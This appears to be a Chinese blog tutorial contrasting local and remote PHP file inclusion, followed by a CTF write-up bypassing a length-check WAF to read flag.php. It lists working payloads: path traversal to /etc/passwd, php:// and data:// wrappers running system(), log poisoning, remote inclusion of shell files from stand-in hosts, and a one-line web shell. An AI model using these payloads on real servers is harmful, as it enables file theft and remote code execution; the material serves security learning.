文件包含2
远程文件包含与本地文件包含的区别
对比
对比项 | 本地文件包含(LFI) | 远程文件包含(RFI) |
---|---|---|
定义 | 攻击者包含服务器本地的文件 | 攻击者包含远程服务器(如HTTP/FTP)上的文件 |
依赖条件 | 不需要特殊配置 | 需要allow_url_include=On (PHP) |
常见利用方式 | 1. 读取敏感文件(/etc/passwd )2. 日志文件注入 3. PHP包装器( php://filter ) | 1. 包含远程恶意脚本(http://evil.com/shell.txt )2. 直接执行远程PHP代码 |
危害 | 1. 敏感信息泄露 2. 可能升级为RCE(如日志注入) | 1. 直接远程代码执行(RCE) 2. 完全控制服务器 |
防御难度 | 较容易(禁用危险函数+输入过滤) | 较难(需关闭远程包含功能) |
示例Payload | ?file=../../etc/passwd ?file=php://filter/convert.base64-encode/resource=index.php | ?file=http://attacker.com/shell.txt ?file=data://text/plain,<?php system('id');?> |
例子对比
本地文件包含(LFI)
源代码的关键代码
include($_GET['file'] . '.php');
【这个代码对参数进行了处理,即在参数后面增加了一个.php的后缀,这就是将任何参数都转为了一个php文件】
攻击者的payload
?file=../../etc/passwd%00 # 读取系统文件
?file=php://filter/convert.base64-encode/resource=config.php # 读取PHP源码
远程文件包含(RFI)
源代码的关键代码
include($_GET['url']); // 未过滤直接包含远程文件
攻击者的payload
?url=http://evil.com/shell.txt # 包含远程Web Shell
?url=data://text/plain,<?php system("ls");?> # 直接执行代码
根据这两个例子的对比就可以看到其实二者从源代码其实是很难分辨出来,但是对于传入的payload却是有所不同的
本地文件包含的payload主要是文件路径(../../ )和php包装(php://)
远程文件包含的payload主要是url协议(比如:http:// 或 ftp://等)
payload
LFI典型Payload示例
(1) 读取敏感文件
?file=../../../../etc/passwd
?page=/var/www/html/config.php
(2) 路径遍历绕过
?file=....//....//etc/passwd # 双重编码绕过
?file=%2e%2e%2fetc%2fpasswd # URL编码
(3) PHP包装器利用
?file=php://filter/convert.base64-encode/resource=index.php # 读取PHP源码
?file=php://input # 通过POST传入代码
[POST DATA]: <?php system("id");?>
(4) 日志文件注入
?file=/var/log/apache2/access.log
# 需先通过User-Agent或Referer注入PHP代码
(5) Null字节截断 (PHP < 5.3.4)
?file=../../etc/passwd%00 # 截断后缀
RFI典型Payload示例
(1) 基本远程包含
?file=http://attacker.com/shell.txt
?lib=ftp://evil.net/cmd.php
(2) 自动附加后缀的绕过
?file=http://attacker.com/shell.txt? # 问号截断
?file=http://attacker.com/shell.txt%00 # Null字节截断
(3) data协议利用 (伪RFI)
?file=data://text/plain,<?php system("id");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+
(4) 结合短标签
?file=http://attacker.com/shell.txt&cmd=id
# shell.txt内容: <?=`$_GET[cmd]`?>
做个题
[鹏城杯 2022]简单包含
打开环境后得到的源码
这里看到直接告诉了flag的位置, 那么就猜测是一个 本地文件包含
直接去访问这个文件竟然输出waf
那看来这个有问题
试试php伪协议
在hackbar中可以看到有直接的php伪协议模板然后我们点击后复制到POST中进行传参
还是不行,去访问一下index.php看一下源码
去base64解码
得到源码
<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {Secho 'nssctf waf!';
} else {@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br />
这里的关键代码就是if语句那一段
大致就是当所输入的字符长度小于八百且正则检测flag字符时就会输出“nssctf waf!”
这里拓展两个知识
与常见输入方法的对比
方法 | 获取内容 | 数据格式 | 大小限制 |
---|---|---|---|
php://input | 原始请求体 | 原始二进制/文本 | 无 |
$_POST | 解析后的表单数据 | 数组 | 受限于 post_max_size |
$_GET | URL 查询参数 | 数组 | URL 长度限制 |
$HTTP_RAW_POST_DATA | 原始 POST 数据(已弃用) | 原始数据 | 无 |
file_get_contents()函数
该函数的作用是将某文件读取为字符串
比如这里就是将php://输入流的所有内容读取为字符串,来确保strlen()函数的实现。
那么我们的payload就应该是前面有长度为800的字符,然后再输入我们的php伪协议
我的payload
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/convert.base64-encode/resource=flag.php
或者直接访问源代码所给的文件路径
得到的编码进行base64解码就可以了
相关文章:
文件包含2
远程文件包含与本地文件包含的区别 对比 对比项本地文件包含(LFI)远程文件包含(RFI)定义攻击者包含服务器本地的文件攻击者包含远程服务器(如HTTP/FTP)上的文件依赖条件不需要特殊配置需要allow_url_incl…...
嵌入式系统架构验证工具:AADL Inspector v1.10 全新升级
软件架构建模与早期验证是嵌入式应用的关键环节。架构分析与设计语言(AADL)是专为应用软件及执行平台架构模型设计的语言,兼具文本与图形化的双重特性。AADL Inspector是一款轻量级的独立工具: 核心处理能力包括 √ 支持处理AA…...
软考高级系统架构设计师备考分享:操作系统核心知识点整理
在备战软考高级系统架构设计师的过程中,操作系统作为核心考点之一,需要系统性地掌握其核心原理。本文将从操作系统分类、进程状态模型、同步互斥机制、死锁问题及存储管理五大模块展开梳理,结合考试高频考点和实际案例进行解析。 一、操作系统…...
22、城堡防御工事——React 19 错误边界与监控
一、魔法护盾:错误边界机制 1. 城墙结界(Error Boundary) // 客户端错误边界use client function useErrorBoundary() {const [error, setError] useState(null);const handleError useCallback((error, errorInfo) > {setError(erro…...
有关SOA和SpringCloud的区别
目录 1. 定义 2. 架构风格 3. 技术栈 4. 服务交互 5. 适用场景 前言 面向服务架构(SOA)是一种软件设计风格,它将应用程序的功能划分为一系列松散耦合的服务。这些服务可以通过标准的通信协议进行交互,通常是HTTP或其他消息传…...
大数据——Mac环境DataSpell集成Jupyter
1、设置 2、添加新的解释器 3、解释器类型选择Conda 4、进入选中全部,然后重启 5、dataspell右下角会显示当前项目的运行环境 6、创建Jupyter Notebook文件 7、测试 8、查看当前配置 (1)本地模式安装使用 (2)…...
解锁健康养生新境界
在追求高品质生活的当下,健康养生早已超越 “治未病” 的传统认知,成为贯穿全生命周期的生活艺术。它如同精密的交响乐,需饮食、运动、心理与生活习惯多维度协奏,方能奏响生命的强音。 饮食养生讲究 “顺时、适性”。遵循二十四节…...
WORD压缩两个免费方法
日常办公和学习中,Word文档常常因为包含大量图片、图表或复杂格式而导致文件体积过大,带来诸多不便,比如 邮件发送受限:许多邮箱附件限制在10-25MB,大文件无法直接发送 存储空间占用:大量文档占用硬盘或云…...
Zabbix监控 RabbitMQ 指定消息队列名称(pull_alarms )的消费者
✅ 1. 编写 RabbitMQ 队列监控脚本 创建脚本文件 /usr/local/bin/zbx_rabbitmq_metric.sh 并写入以下内容: #!/bin/bash # /usr/local/bin/zbx_rabbitmq_metric.shQUEUE$1 METRIC$2 USER$3 PASS$4if [[ -z "$QUEUE" || -z "$METRIC" || -z &q…...
RabbitMQ ②-工作模式
RabbitMQ 工作模式 官方提供了七种工作模式 Simple(简单模式) P:生产者,发布消息到队列C:消费者,从队列中获取消息并消费Queue:消息队列,存储消息。 一个生产者,一个…...
《探索React Native社交应用中WebRTC实现低延迟音视频通话的奥秘》
WebRTC,全称为Web Real-Time Communication,是一项开创性的开源技术,为Web和移动应用开启了实时通信的大门。它打破了传统通信的束缚,使得应用之间无需依赖繁琐的中间服务器,就能实现直接的点对点通信,这是…...
UI设计公司兰亭妙微分享:汽车 MHI 设计的界面布局创新法则
在汽车人机界面(MHI)设计中,界面布局犹如建筑蓝图,奠定了用户与汽车交互体验的基础。合理创新的布局能提升驾驶安全性与便捷性,融合极简美学与高效操作则成为现代汽车 MHI 界面布局设计的核心追求。 驾驶场景中&…...
【递归,搜索与回溯算法篇】专题(一) - 递归
文章目录 面试题 08.06. 汉诺塔问题21. 合并两个有序链表206. 反转链表24. 两两交换链表中的节点50. Pow(x, n) 面试题 08.06. 汉诺塔问题 题目链接: 面试题 08.06. 汉诺塔问题 题目描述: 在经典汉诺塔问题中,有 3 根柱子及 N 个不同大小的…...
B站pwn教程笔记-9
前言:可以去一些开源镜像站下载libc老的乌班图镜像,因为堆题的libc可能比较老,没有新的一些保护措施和机制。 格式化字符串漏洞 归根结底,可以读写任意地址内存。 泄露栈数据/任意地址数据 主要问题就是printf不知道自己有没有…...
NVR(网络视频录像机) 和 网络摄像机(IPC,IP Camera)
NVR(网络视频录像机) 和 网络摄像机(IPC,IP Camera) 是网络监控系统的两个核心组件,但功能定位完全不同。以下是它们的核心区别: 1. 功能角色 组件网络摄像机(IPC)NVR&a…...
数智读书笔记系列032《统一星型模型--一种敏捷灵活的数据仓库和分析设计方法》
引言 在当今数字化时代,数据仓库作为企业数据管理的核心基础设施,承担着整合、存储和提供企业数据的关键角色。随着商业环境的快速变化和业务需求的日益复杂,数据仓库的设计方法也在不断演进,以适应新的挑战和要求。 背景与意义 数据仓库领域长期存在着两种主流方法论之…...
互联网大厂Java求职面试:基于RAG的智能问答系统设计与实现
互联网大厂Java求职面试:基于RAG的智能问答系统设计与实现 场景背景 在某互联网大厂的技术面试中,技术总监张总正在面试一位名为郑薪苦的求职者。郑薪苦虽然对技术充满热情,但回答问题时总是带着幽默感,有时甚至让人哭笑不得。 …...
[C#]Task.Run()和Task.Factory.StartNew()对比(腾讯元宝)
Task.Run和Task.Factory.StartNew都是用来创建并启动任务的方法,但它们的内部实现和使用场景有所不同。两者的主要区别:默认调度器、配置选项、异常处理、适用场景。建议用户大多数情况下使用Task.Run,除非需要StartNew的高级配置,…...
Java游戏服务器开发流水账(3)游戏数据的缓存简介
简介 游戏服务器数据缓存是一种在游戏服务器运行过程中,用于临时存储经常访问的数据的技术手段,旨在提高游戏性能、降低数据库负载以及优化玩家体验。游戏开发中数据的缓存可以使用Java自身的内存也可以使用MemCache,Redis,注意M…...
PostgreSQL可见性映射VM
1.可见性映射 清理过程的代价高昂,为了减小清理的开销,在PostgreSQL 8.4版中引入了VM。 VM的基本概念很简单。 每个表都拥有各自的可见性映射,用于保存表文件中每个页面的可见性。 页面的可见性确定了每个页面是否包含死元组。清理过程可以…...
集成电路流片随笔26:tinyriscv的三级流水线细则pc
include "defines.v"// PC寄存器模块 module pc_reg(input wire clk,input wire rst,input wire jump_flag_i, // 跳转标志input wire[InstAddrBus] jump_addr_i, // 跳转地址input wire[Hold_Flag_Bus] hold_flag_i, // 流水线暂停标志input wire…...
如何解决Jmeter中的乱码问题?
在 JMeter 中遇到乱码问题通常是由于字符编码不一致导致的,常见于 HTTP 请求响应、参数化文件读取、报告生成等场景。以下是系统化的解决方案: 1. HTTP 请求响应乱码 原因: 服务器返回的字符编码(如UTF-8、GBK)与 J…...
TextRNN 模型实现微博文本情感分类
在自然语言处理(NLP)领域,文本情感分类是一项极具应用价值的任务。它能帮助企业分析用户反馈、社交媒体舆情监测等。本文将通过一段实际代码,带大家了解如何利用 PyTorch 框架和 TextRNN 模型,完成微博文本的情感分类工…...
支付宝 SEO 优化:提升小程序曝光与流量的完整指南
在拥有庞大用户基数的支付宝平台上,小程序已成为商家触达用户、提供服务的重要渠道。然而,随着平台上小程序数量的快速增长,如何在激烈的竞争中脱颖而出,获得更多的曝光和流量,成为每个开发者和运营者必须面对的关键挑…...
基于WSL用MSVC编译ffmpeg7.1
在windows平台编译FFmpeg,网上的大部分资料都是推荐用msys2mingw进行编译。在win10平台,我们可以采用另一种方式,即wslmsvc 实现window平台的ffmpeg编译。 下面将以vs2022ubuntu22.04 为例,介绍此方法 0、前期准备 安装vs2022 &…...
高并发内存池(二):项目的整体框架以及Thread_Cache的结构设计
目录 前言 一,项目整体框架设计 二,thread cache结构设计 模拟定长内存池的设计思路 采用一定的对齐规则设计 thread cache大致框架 申请内存Allocate方法 1,thread cache 哈希桶的内存对齐规则 2,内存对齐规则代码实现 …...
K8S扩缩容及滚动更新和回滚
目录: 1、滚动更新1、定义Deployment配置2、应用更新 2、版本回滚1. 使用kubectl rollout undo命令 3、更新暂停与恢复1、暂停更新2、更新镜像(例如,使用kubectl set image命令)3、恢复更新 4、弹性扩缩容1、扩容命令2、缩容命令3…...
K8S - GitLab CI 自动化构建镜像入门
一、引言 在现代持续交付(CI/CD)体系中,容器镜像的自动化构建与推送已成为交付链条的重要一环。 GitLab CI/CD 作为 GitLab 平台的原生集成功能,提供了声明式、可扩展的流水线机制,使得开发者可以在代码生命周期内实…...
万兴PDF-PDFelement v11.4.13.3417
万兴PDF专家(Wondershare PDFelement)是一款国产PDF文档全方位解决方案.万兴PDF编辑器软件万兴PDF中文版,专注于PDF的创建,编辑,转换,签名,压缩,合并,比较等功能.万兴PDF专业版PDF编辑软件,以简约风格及强大的功能在国外名声大噪,除了传统功能外,还提供OCR扫描,表格识别,创建笔…...
4.2【LLaMA-Factory实战】金融财报分析系统:从数据到部署的全流程实践
【LLaMA-Factory实战】金融财报分析系统:从数据到部署的全流程实践 一、引言 在金融领域,财报分析是投资决策的核心环节。传统分析方法面临信息提取效率低、风险识别不全面等挑战。本文基于LLaMA-Factory框架,详细介绍如何构建一个专业的金…...
Vue Router 3 使用详解:从零构建嵌套路由页面
Vue Router 是 Vue.js 官方的路由管理器,常用于构建单页面应用(SPA)。本文将手把手带你完成 vue-router3.6.5 的基本配置,并实现一个带有嵌套路由的页面结构。本文适用于 Vue 2.x 项目 一、安装 vue-router3.6.5 npm install vue…...
ChatGPT深度研究功能革新:GitHub直连与强化微调
目录 一、ChatGPT深度研究功能迎来革命性更新 1.1 GitHub直连功能详解 1.2 强化微调(RTF)正式发布 二、GitHub直连功能深度体验 2.1 实际应用场景演示 2.2 技术实现原理探讨 三、强化微调技术解析 3.1 RTF技术核心优势 3.2 适用场景分析 四、开发者反馈与行业影响 4…...
【Ansible】模块详解
一、ansible概述 1.1 ansible介绍 Ansible 是一个基于 Python 开发的配置管理和应用部署工具,近年来在自动化管理领域表现突出。它集成了许多传统运维工具的优点,几乎可以实现 Pubbet 和 Saltstack 所具备的功能。 1.2 ansible能做什么 批量处理。An…...
深入理解C/C++内存管理:从基础到高级优化实践
一、内存区域划分与基础管理机制 栈(Stack) 栈由系统自动管理,用于存储函数调用时的局部变量、参数及返回地址。其特点是高效但空间有限(通常1-8MB),遵循后进先出(LIFO)…...
两台服务器之前共享文件夹
本文环境 服务器A:ubuntu24.22系统 IP:10.0.8.1 服务器B:ubuntu24.22系统 IP:10.0.8.10 本操作旨在将服务器B的/opt/files目录共享给服务器A得/opt/files 在 B 服务器上设置共享 安装 NFS 服务: sudo apt -y install nfs-kernel-server编辑/etc/exports文件&…...
stm32之USART
目录 1.引入1.1 通信接口1.2 串口 2.USART2.1 简介2.2 框图2.3 基本机构图2.4 数据帧2.5 波特率发生器2.6 数据包2.6.1 数据模式2.6.2 HEX数据包2.6.3 文本数据包2.6.4 HEX数据包接收2.6.5 文本数据包接收 3.结构体和相关API3.1 结构体3.2 API3.2.1 **初始化相关函数**void USA…...
使用 systemd 管理 Linux 服务:配置与自动重启指南
使用 systemd (推荐,适用于大多数 Linux 发行版) systemd 是现代 Linux 系统中最常用的服务管理器。它能可靠地管理进程,并在进程崩溃时自动重启。 创建 systemd 服务文件: 创建一个文件,例如 /etc/systemd/system/app.service…...
【计算机视觉】Car-Plate-Detection-OpenCV-TesseractOCR:车牌检测与识别
Car-Plate-Detection-OpenCV-TesseractOCR:车牌检测与识别技术深度解析 在计算机视觉领域,车牌检测与识别(License Plate Detection and Recognition, LPDR)是一个极具实用价值的研究方向,广泛应用于智能交通系统、安…...
《Spring Boot 3.0全新特性详解与实战案例》
大家好呀!今天让我们轻松掌握Spring Boot 3.0的所有新特性!🚀 📌 第一章:Spring Boot 3.0简介 1.1 什么是Spring Boot 3.0? Spring Boot 3.0就像是Java开发者的"超级工具箱"🧰&…...
二叉树的深度
二叉树的深度是指从根节点到叶子节点的最长路径上的节点数。 一、最大深度 104. 二叉树的最大深度 - 力扣(LeetCode) 最大深度是指从根节点到最远叶子节点的最长路径上的节点数。 //递归法 /*** Definition for a binary tree node.* public class T…...
科技创业园共享会议室线上预约及智能密码锁系统搭建指南
为科技创业园区的运营管理者,我深知高效利用会议室资源的重要性。2023年第三季度,我们园区启动会议室智能化改造项目,经过三个月的实践,成功将32间共享会议室升级为"线上预约智能门锁"管理模式。现将改造经验分享如下&a…...
自定义prometheus exporter实现监控阿里云RDS
# 自定义 Prometheus Exporter 实现多 RDS 数据采集## 背景1. Prometheus 官网提供的 MySQL Exporter 对于 MySQL 实例只能一个进程监控一个实例,数据库实例很多的情况下,不方便管理。 2. 内部有定制化监控需求,RDS 默认无法实现,…...
LeetCode 3342.到达最后一个房间的最少时间 II:dijkstra算法(和I一样)
【LetMeFly】3342.到达最后一个房间的最少时间 II:dijkstra算法(和I一样) 力扣题目链接:https://leetcode.cn/problems/find-minimum-time-to-reach-last-room-ii/ 有一个地窖,地窖中有 n x m 个房间,它们呈网格状排布。 给你一…...
iOS创建Certificate证书、制作p12证书流程
一、创建Certificates 1、第一步得先在苹果电脑上创建一个.certSigningRequest的文件。首先打开钥匙串,使用快捷键【command空格】——输入【钥匙串】回车(找不到就搜一下钥匙串访问使用手册) 2、然后在苹果电脑的左上角菜单栏选择【钥匙串…...
特殊配合力(SCA)作为全基因组关联分析(GWAS)的表型,其生物学意义和应用价值
生物学意义 解析非加性遗传效应 特殊配合力(SCA)主要反映特定亲本组合的杂交优势,由非加性遗传效应(如显性、超显性、上位性)驱动。显性效应涉及等位基因间的显性互作,上位性效应则涉及不同位点间的基因互作。通过SCA-GWAS,可以定位调控这些非加性效应的关键基因组区域…...
Python实例题:Python快速获取斗图表情
目录 Python实例题 题目 python-get-meme-imagesPython 快速获取斗图表情脚本 代码解释 get_meme_images 函数: download_images 函数: 主程序: 运行思路 注意事项 Python实例题 题目 Python快速获取斗图表情 python-get-meme-im…...
探索表访问方法功能:顺序扫描分析
引言 在之前的文章中,我们讨论了 PostgreSQL 表访问方法 API 的基础知识以及堆元组(heap tuple)与元组表槽(Tuple Table Slot,简称 TTS)之间的区别。 本文将深入探讨 PostgreSQL 核心如何通过特定的 API …...
RISC-V CLINT、PLIC及芯来ECLIC中断机制分析 —— RISC-V中断机制(一)
在长期的嵌入式开发实践中,对中断机制的理解始终停留在表面层次,特别当开发者长期局限于纯软件抽象层面时,对中断机制的理解极易陷入"知其然而不知其所以然"的困境,这种认知的局限更为明显;随着工作需要不断…...
Idea Code Templates配置
Templates配置 配置位置模板案例 配置位置 Settings->Editor->File and Code Templates模板案例 #if (${PACKAGE_NAME} && ${PACKAGE_NAME} ! "")package ${PACKAGE_NAME};#endimport com.ktools.common.dataprocess.DataProcess; import com.ktools…...
fakebook
解题方法: 一.用御剑扫描后台,查看robot.txt文件,发现是一个/user.php.bak,备份文件,我们访问这个文件 <?phpclass UserInfo {public $name "";public $age 0;public $blog "";public function __co…...